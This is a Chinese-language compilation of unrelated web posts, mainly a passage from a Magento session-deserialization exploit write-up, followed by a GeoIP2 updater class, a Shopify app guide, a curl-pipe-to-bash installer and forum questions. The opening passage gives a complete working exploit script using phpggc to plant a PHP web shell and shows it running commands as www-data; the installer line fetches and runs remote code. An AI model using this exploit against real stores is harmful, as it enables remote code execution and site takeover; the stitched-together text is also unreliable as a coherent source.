------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="test_file"
Content-Type: text/plain

Hello world
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
{"name": "test_file","full_path": "test_file","type": "text/plain","tmp_name": "test_file","error": 0,"size": 11,"file": "/t/e/test_file","url": "http://192.168.198.130/customer/address/viewfile/file/dC9lL3Rlc3RfZmlsZQ~~/"}
我们已成功上传文件,文件内容已写入该文件pub/media/customer_address/t/e/test_file

把所有东西整合起来

最后一步还需要完成:我们需要一个有效载荷供会话管理器反序列化。一种方法是创建一个伪造的会话,然后用它来访问客户/管理员帐户。更有趣的方法是尝试获取代码执行权限。
phpggc幸好它内置了有效载荷,我们无需自行寻找。查看 Magento 的 composer.json 文件中的依赖项,我们发现它使用了 Guzzle,而 Guzzle 具有任意文件写入有效载荷。虽然它需要知道网站根目录在磁盘上的位置,但这足以满足我们的需求。
为了实现这个功能,我们需要一些额外的选项。-se“/”--session-encode是必需的,这样才能确保会话序列化格式正确。phpggc 喜欢在有效负载数据中插入额外的换行符,并在属性名称中插入空字节,因此我们也需要-a“/”--ascii-strings来进行编码。
将 phpggc 添加到攻击链中,我们便可得到以下漏洞利用脚本:
HOST="http://example.com"
PAYLOAD_IN="/tmp/payload.php"
PAYLOAD_OUT="/var/www/html/magento2/pub/exploit.php"
FORMKEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
SESSID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 26 | head -n 1)

./phpggc -se -pub -a Guzzle/FW1 "$PAYLOAD_OUT" "$PAYLOAD_IN"

curl -ks --cookie "form_key=$FORMKEY" -F "form_key=$FORMKEY" -F "custom_attributes[country_id]=@/tmp/sess_$SESSID" "$HOST/customer/address_file/upload"
curl -ks -X PUT --cookie "PHPSESSID=$SESSID" --header 'Accept: application/json' "$HOST/rest/default/V1/guest-carts/abc/order" --json '{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/s/e"}}}}}}}'
请注意,服务器可能会对最后一个响应中的购物车 ID 提出异议并返回 404 错误。这是正常现象,表示有效载荷已成功反序列化。我们可以通过向上传的有效载荷发送请求来检查攻击是否成功:
$ curl -ks "$HOST/pub/exploit.php" --data 'cmd=echo;echo;id;whoami;pwd;echo'
[{"Expires":1,"Discard":false,"Value":"

uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/html/magento2/pub

n"}]

结语

鉴于这是 Magento 第二次出现反序列化问题,仍然存在一个很大的问题:这个补丁足够吗?
就目前来看,确实如此。通过在类型链搜索脚本中添加新的限制条件,我们发现最多只能搜索到三层类型,之后就会耗尽允许的类型和 setter 函数的数量。
MagentoQuoteModelQuotePayment
  MagentoQuoteApiDataPaymentExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoQuoteModelQuoteItem
  MagentoQuoteApiDataCartItemExtensionInterface
  MagentoQuoteModelQuoteProductOption
    MagentoQuoteApiDataProductOptionExtensionInterface
MagentoQuoteModelCartTotalsAdditionalData
  MagentoQuoteApiDataTotalsAdditionalDataExtensionInterface
MagentoFrameworkApiSearchCriteria
  MagentoFrameworkApiSearchFilterGroup
  MagentoFrameworkApiSortOrder
MagentoCheckoutModelShippingInformation
  MagentoCheckoutApiDataShippingInformationExtensionInterface
  MagentoQuoteModelQuoteAddress
MagentoCheckoutModelTotalsInformation
  MagentoCheckoutApiDataTotalsInformationExtensionInterface
  MagentoQuoteModelQuoteAddress
MagentoGiftMessageModelMessage
MagentoCustomerModelDataCustomer
Adobe 和第三方插件开发者都需要注意,不要为他们不希望用户创建的类型引入任何设置函数。此外,他们在对这些数据进行后续处理时也需要格外谨慎。

一. 安装 geoip2 库,并检查ip

第一步:安装 geoip2 库

composer require geoip2/geoip2:~2.0

 

第二步:下载 GeoLite2 数据库
需要注册账户,注册成功后就可以直接下载 GeoLite2 数据库
第三步:调用 ip 检测方法

$reader = new Reader('/var/geoip/GeoLite2-Country.mmdb'); //替换成自己的数据库文件路径
$record = $reader->city('128.101.101.101');
print($record->country->isoCode);

 

 

二. 更新 geoip2 数据库

下载用到的 API
https://www.geodbase-update.com/api/v1/edition
需要注册账户的 License key
直接上代碼:

<?php

namespace xxxx\xxxxxx\Helper;

use DirectoryIterator;
use Exception;
use FilesystemIterator;
use PharData;
use RecursiveDirectoryIterator;
use RecursiveIteratorIterator;
use ReflectionClass;
use ZipArchive;

/**
* Class Client
* @package tronovav\GeoIP2Update
*/
class Client
{
const ARCHIVE_GZ = 'tar.gz';
const ARCHIVE_ZIP = 'zip';

/**
* @var string Your account’s actual license key on www.maxmind.com
* @link https://support.maxmind.com/account-faq/license-keys/where-do-i-find-my-license-key/
*/
public $license_key;

/**
* @var string Your account’s actual "geodbase_update_key" on www.geodbase-update.com
* @link https://www.geodbase-update.com
*/
public $geodbase_update_key;

/**
* @var string[] Database editions list to update.
* @link https://www.maxmind.com/en/accounts/current/geoip/downloads/
*/
public $editions;

/**
* @var string Destination directory. Directory where your copies of databases are stored. Your old databases will be updated there.
*/
public $dir;

protected $_editionVersions = array();
protected $_baseUrlApi = 'https://www.geodbase-update.com/api/v1/edition';
protected $_updated = array();
protected $_errors = array();
protected $_errorUpdateEditions = array();
protected $_lastModifiedStorageFileName = 'VERSION.txt';
protected $_client = 1;
protected $_client_version = '2.3.1';

public function __construct(array $params)
{
$this->setConfParams($params);
$thisClass = new ReflectionClass($this);
foreach ($params as $key => $value)
if ($thisClass->hasProperty($key) && $thisClass->getProperty($key)->isPublic()) {
$this->$key = $value;
} else {
$this->_errors[] = "The \"{$key}\" parameter does not exist. Just remove it from the options. See https://www.geodbase-update.com";
}
}

/**
* Update info.
* @return array
*/
public function updated()
{
return $this->_updated;
}

/**
* Update errors.
* @return array
*/
public function errors()
{
return array_merge($this->_errors, array_values($this->_errorUpdateEditions));
}

/**
* Database update launcher.
* @throws Exception
*/
public function run()
{
if (!$this->validate()) {
return;
}

$this->updateEdition((string)$this->editions);

}

protected function setConfParams(&$params)
{
if (array_key_exists('geoipConfFile', $params)) {
if(is_file($params['geoipConfFile']) && is_readable($params['geoipConfFile'])) {
$confParams = array();
foreach (file($params['geoipConfFile']) as $line) {
$confString = trim($line);
if (preg_match('/^\s*(?P<name>LicenseKey|EditionIDs)\s+(?P<value>([\w-]+\s*)+)$/', $confString, $matches)) {
$confParams[$matches['name']] = $matches['name'] === 'EditionIDs'
? array_values(array_filter(explode(' ', $matches['value']), function ($val) {
return trim($val);
}))
: trim($matches['value']);
}
}
$this->license_key = !empty($confParams['LicenseKey']) ? $confParams['LicenseKey'] : $this->license_key;
$this->editions = !empty($confParams['EditionIDs']) ? $confParams['EditionIDs'] : $this->editions;
} else {
$this->_errors[] = 'The geoipConfFile parameter was specified, but the file itself is missing or unreadable. See https://www.geodbase-update.com';
}
unset($params['geoipConfFile']);
}
}

/**
* @return bool
*/
protected function validate()
{
if (!empty($this->_errors)) {
return false;
}

switch (true) {
case empty($this->dir):
$this->_errors[] = 'Destination directory not specified. See documentation at https://www.geodbase-update.com';
break;
case !is_dir($this->dir):
$this->_errors[] = "The destination directory \"{$this->dir}\" does not exist. See documentation at https://www.geodbase-update.com";
break;
case !is_writable($this->dir):
$this->_errors[] = "The destination directory \"{$this->dir}\" is not writable. See documentation at https://www.geodbase-update.com";
}

if (empty($this->license_key)) {
$this->_errors[] = 'You must specify your Maxmind "license_key". See documentation at https://www.geodbase-update.com';
}

if (empty($this->editions)) {
$this->_errors[] = "No GeoIP revision names are specified for the update. See documentation at https://www.geodbase-update.com";
}

if (!empty($this->_errors)) {
return false;
}

return true;
}

/**
* @param string $editionId
* @throws Exception
*/
protected function updateEdition(string $editionId)
{
$remoteEditionData = $this->getRemoteEditionData($editionId);

if (!empty($this->_errorUpdateEditions[$editionId])) {
return;
}

if ($remoteEditionData['ext'] === self::ARCHIVE_ZIP && !class_exists('\ZipArchive')) {
$this->_errorUpdateEditions[$editionId] = "PHP zip extension is required to update csv databases. See https://www.php.net/manual/en/zip.installation.php to install zip php extension.";
return;
}

$remoteActualVersion = date_create($remoteEditionData['version']);

$localEditionData = is_file($this->getEditionDirectory($editionId) . DIRECTORY_SEPARATOR . $this->_lastModifiedStorageFileName) ?
file_get_contents($this->getEditionDirectory($editionId) . DIRECTORY_SEPARATOR . $this->_lastModifiedStorageFileName) : '';

$currentVersion = date_create_from_format('Y-m-d\TH:i:sP',$localEditionData) ?: 0;

$this->_editionVersions[$editionId] = [
!empty($currentVersion) ? $currentVersion->format('c') : 0,
$remoteActualVersion->format('c')
];

if (empty($currentVersion) || $currentVersion != $remoteActualVersion) {

$this->download($remoteEditionData);
if (!empty($this->_errorUpdateEditions[$editionId])) {
return;
}

$this->extract($remoteEditionData);
if (!empty($this->_errorUpdateEditions[$editionId])) {
return;
}

$this->_updated[] = "$editionId has been updated.";
} else {
$this->_updated[] = "$editionId does not need to be updated.";
}
}

/**
* @param $editionId
* @return string
*/
protected function getEditionDirectory($editionId): string
{
return $this->dir . DIRECTORY_SEPARATOR . $editionId;
}

/**
* @param string $editionId
* @return array
*/
protected function getRemoteEditionData(string $editionId): array
{
$ch = curl_init(trim($this->_baseUrlApi,'/').'/'.'data'.'?'. http_build_query(array(
'id' => $editionId,
)));
curl_setopt_array(
$ch,
[
CURLOPT_HEADER => false,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Accept: application/json',
'X-Api-Key: '.$this->geodbase_update_key
],
CURLOPT_POSTFIELDS => json_encode(
[
'maxmind_key' =>$this->license_key,
'client' => $this->_client,
'client_version' => $this->_client_version
]
)
]
);

$result = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if(empty($httpCode)){
$this->_errorUpdateEditions[$editionId] = "The remote server is not available.";
return [];
}

$resultArray = json_decode($result,true);

if($httpCode !== 200){
$this->_errorUpdateEditions[$editionId] = $resultArray['data']['message'] ?: $resultArray['data']['name'];
return [];
}
return $resultArray['data'];
}

/**
* @param array $remoteEditionData
*/
protected function download($remoteEditionData)
{
$ch = curl_init(
trim($this->_baseUrlApi,'/').'/'.'download'.'?'. http_build_query(
['request_id' => $remoteEditionData['request_id']]
)
);
$fh = fopen($this->getArchiveFile($remoteEditionData), 'wb');
curl_setopt_array($ch, array(
CURLOPT_CUSTOMREQUEST => 'GET',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTPHEADER => array(
'Content-Type: application/json',
'X-Api-Key: '.$this->geodbase_update_key,
),
CURLOPT_FILE => $fh,
));
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
fclose($fh);
if ($response === false || $httpCode !== 200){
if(is_file($this->getArchiveFile($remoteEditionData)))
unlink($this->getArchiveFile($remoteEditionData));
$this->_errorUpdateEditions[$remoteEditionData['id']] = "Download error: ($httpCode)" . curl_error($ch);
}
}

protected function getArchiveFile($remoteEditionData)
{
return $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . '.' . $remoteEditionData['ext'];
}

/**
* @param array $remoteEditionData
*/
protected function extract(array $remoteEditionData)
{
switch ($remoteEditionData['ext']) {
case self::ARCHIVE_GZ:
if (!in_array('phar', stream_get_wrappers(), true)) {
stream_wrapper_restore('phar');
}
$phar = new PharData($this->getArchiveFile($remoteEditionData));
$phar->extractTo($this->dir, null, true);
break;
case self::ARCHIVE_ZIP:
$zip = new ZipArchive;
$zip->open($this->getArchiveFile($remoteEditionData));
$zip->extractTo($this->dir);
$zip->close();
break;
}

unlink($this->getArchiveFile($remoteEditionData));

if (!is_dir($this->getEditionDirectory($remoteEditionData['id']))) {
mkdir($this->getEditionDirectory($remoteEditionData['id']));
}

$directories = new DirectoryIterator($this->dir);
foreach ($directories as $directory) {
/* @var DirectoryIterator $directory */
if ($directory->isDir() && preg_match('/^' . $remoteEditionData['id'] . '[_\d]+$/i', $directory->getBasename())) {
$newEditionDirectory = new DirectoryIterator($directory->getPathname());
foreach ($newEditionDirectory as $item)
if ($item->isFile()) {
rename($item->getPathname(), $this->getEditionDirectory($remoteEditionData['id']) . DIRECTORY_SEPARATOR . $item->getBasename());
}
file_put_contents($this->getEditionDirectory($remoteEditionData['id']) . DIRECTORY_SEPARATOR . $this->_lastModifiedStorageFileName, $remoteEditionData['version']);
$this->deleteDirectory($directory->getPathname());
break;
}
}
$this->copyFiles($remoteEditionData);
}

/**
* @param $remoteEditionData
*/
public function copyFiles($remoteEditionData)
{
$directoryPath = $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'];
$sourceFile = $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . '.mmdb';
$targetFile = $this->dir . DIRECTORY_SEPARATOR . $remoteEditionData['id'] . '.mmdb';
$content = file_get_contents($sourceFile);
file_put_contents($targetFile, $content);
$this->deleteDirectory($directoryPath);
}

/**
* @param string $directoryPath
*/
protected function deleteDirectory(string $directoryPath)
{
if (is_dir($directoryPath)) {
$directory = new RecursiveDirectoryIterator($directoryPath, FilesystemIterator::SKIP_DOTS);
$children = new RecursiveIteratorIterator($directory, RecursiveIteratorIterator::CHILD_FIRST);
foreach ($children as $child)
/* @var RecursiveDirectoryIterator $child */
$child->isDir() ? rmdir($child) : unlink($child);
rmdir($directoryPath);
}
}
}


//调用数据库更新
public function execute()
{
// 获取 License key
$licenseKey = $this->helperData->getLicenseKey();
// 指定下载目录
$downloadPath = $this->directoryList->getPath('var') . $this->helperData->getDownloadPath();
if (!is_dir($downloadPath)) {
mkdir($downloadPath, 0755, true);
}
$client = new Client(
[
'license_key' => $licenseKey,
'dir' => $downloadPath,
'editions' => 'GeoLite2-Country',
]
);
$client->run();
}

 

在 Windows 系统上开发 Shopify 插件(通常称为 Shopify Apps)是完全可行的。Shopify 应用可以是独立的网络应用程序,它与 Shopify 店铺通过 Shopify API 交互。以下是开发 Shopify 应用的完整流程:

1. 环境设置

设置开发环境

首先,确保你的 Windows 机器安装有以下工具:
- 文本编辑器或IDE(如 Visual Studio Code, Sublime Text, JetBrains PhpStorm)
- Ruby(Shopify CLI 需要 Ruby 来运行)
- Node.js(用于 Shopify Node.js 或 React 应用)
- Git(代码版本控制)
- Shopify CLI(命令行工具,用于创建和管理 Shopify 应用)

你可以从 Shopify 的官方网站下载并安装 Shopify CLI。

安装 Shopify CLI

在 Windows 上安装 Shopify CLI,通常可以通过 RubyGems 安装:

gem install shopify-cli

 

2. 注册 Shopify 开发者账号

- 访问 Shopify Partners 网站并注册一个开发者账号。
- 创建一个 Partners 账户后,你可以创建开发商店,用于测试和开发应用。

3. 创建新的 Shopify 应用

- 在 Shopify Partner Dashboard 中创建一个新的应用。
- 设置应用的配置,包括应用名称、URL、回调地址等。

4. 开发应用

使用 Shopify CLI 创建应用

在命令行中运行以下命令来创建一个新的 Shopify 应用(支持 Node.js 和 Ruby on Rails):

shopify app create node

shopify app create rails

 

这些命令将生成一个应用的基础架构,包括用于与 Shopify API 交互的一些初始代码。

开发功能

根据你的应用需求,你可能需要开发以下功能:
- 认证和授权(使用 OAuth)
- 与 Shopify API 交互
- 前端界面(如果是嵌入式应用,使用 Polaris 或其他前端框架)
- Webhooks 处理
- 定期任务处理

5. 测试应用

- 使用你的开发商店测试应用功能。
- 确保所有功能在实际场景下都能正常工作。

6. 部署应用

- 将应用部署到生产环境。通常可以使用云服务平台,如 Heroku、AWS、Azure 等。
- 更新应用的配置,确保所有生产环境的 URL 和回调地址都是正确的。

7. 提交应用审核

- 如果你打算将应用发布到 Shopify App Store,则需要提交给 Shopify 进行审核。
- 遵循 Shopify 的应用审核指南和最佳实践,确保应用符合所有要求。

8. 发布应用

- 审核通过后,你的应用就可以在 Shopify App Store 上架了。
- 根据用户反馈和需求,继续维护和更新应用。

使用 Windows 开发 Shopify 应用完全可行,重要的是遵循开发和部署的最佳实践,并确保提供高质量的用户体验。

前几天逛github,无意中发现了国外大神(magenx)的一键部署命令,然后做了测试,第一次部署因为没细看,导致中途出了很多问题;后面认真理解了部署步骤命令跟着操作后很顺利,总体而言还是比较不错,推荐一下;

环境:debian11/unbuntu20.04(貌似也支持centos,但是我没有实测);

我的环境是ubuntu20.04,空白环境;

话不多说,直接上命令;

curl -Lo magenx.sh https://magenx.sh && bash magenx.sh 执行操作后,就开始跑了,会自动安装环境所需,自动更改SSH端口,请留意窗口展示,(为啥我不能上传图片) 执行命令过程中每个环境所需的每个软件安装都需要确认,包括magento版本选择等; lemp,magento,database,install,config,执行完成后根据自己的需求可以继续安装webmin和firewell; 最后执行certbot certonly --agree-tos --no-eff-email --email {EMAIL} --webroot -w /home/{USER}/public_html/pub 生成ssl;并修改相关的配置文件
  • /etc/nginx/nginx.conf
  • /etc/nginx/sites-available/{DOMAIN_NAME}.conf
  • /etc/nginx/conf_m2/varnish_proxy.conf
  • 然后就可以上线了

新人报道magento,多多关照

magento的代码高度模块化,阅读时一般分模块阅读。在阅读某个模块的代码的时候可以把代码大致分成三类:

  1. 实现/继承了其他模块的接口/类的代码

  2. 本模块对外定义的接口/类

  3. 本模块内部使用的接口/类

对于第1类代码,需要在熟悉关联模块的代码的基础之上再阅读(或者说在读之前,先要阅读关联模块的代码。)。这类代码一般处于和关联模块名同名的文件夹下。

对于第2类代码,模块可能会定义多个类和接口,这些类与接口之间的组合关系可能会用到行为型模式,比如:策略模式、状态模式、观察者模式等等。(通常都只是简单组合,行为型模式本质就是低耦合,只是组合之外符合特定行为定义而已。)

对于第3类代码,模块之所以定义这些接口/类是为第2类代码服务的,这类代码定义的接口/类与第1类代码定义的接口/类要么是继承关系,要么是组合关系。如果是组合关系,通常会用到结构型模式,比如:桥接模式、组合模式、装饰模式、代理模式等等。这类代码一般处于模块子目录文件夹里。(结构型模式本质是高内聚,涉及的类都将实现同一个接口)

看magento自带一套restapi,看了作者写的api章节要用这个restapi要先在后台建立一个用户,但是我们网站上都已经有很多用户了,怎么直接用网站上现有的用户?